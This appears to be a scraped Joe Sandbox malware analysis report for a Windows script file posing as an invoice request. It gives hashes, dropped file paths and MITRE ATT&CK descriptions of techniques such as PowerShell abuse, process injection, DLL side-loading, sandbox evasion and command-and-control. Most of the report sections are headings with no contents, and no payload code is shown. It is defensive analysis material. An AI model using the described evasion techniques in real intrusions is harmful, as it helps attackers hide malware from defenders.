Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4648117684.00007FFD346F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd346f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b22a055bb5c296525de96a38127824435c0ab9ef7a20b1f1459e964a2c3f9936
Instruction ID: b53dfdffbe637b54e344ba29a66d881e0644f32c0505d936c94db20bbec07be4
Opcode Fuzzy Hash: b22a055bb5c296525de96a38127824435c0ab9ef7a20b1f1459e964a2c3f9936
Instruction Fuzzy Hash: 1C917397B0E6D32FF3635A2C18B61E97F90EF63264B0911B7C5D4C7493AE0D6807A252

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Wniosek o numer faktury.wsf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_did32yk0.pdw.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kbyx2vmw.35g.psm1

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Wniosek o numer faktury.wsf"

Indicators

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
Wniosek o numer faktury.wsf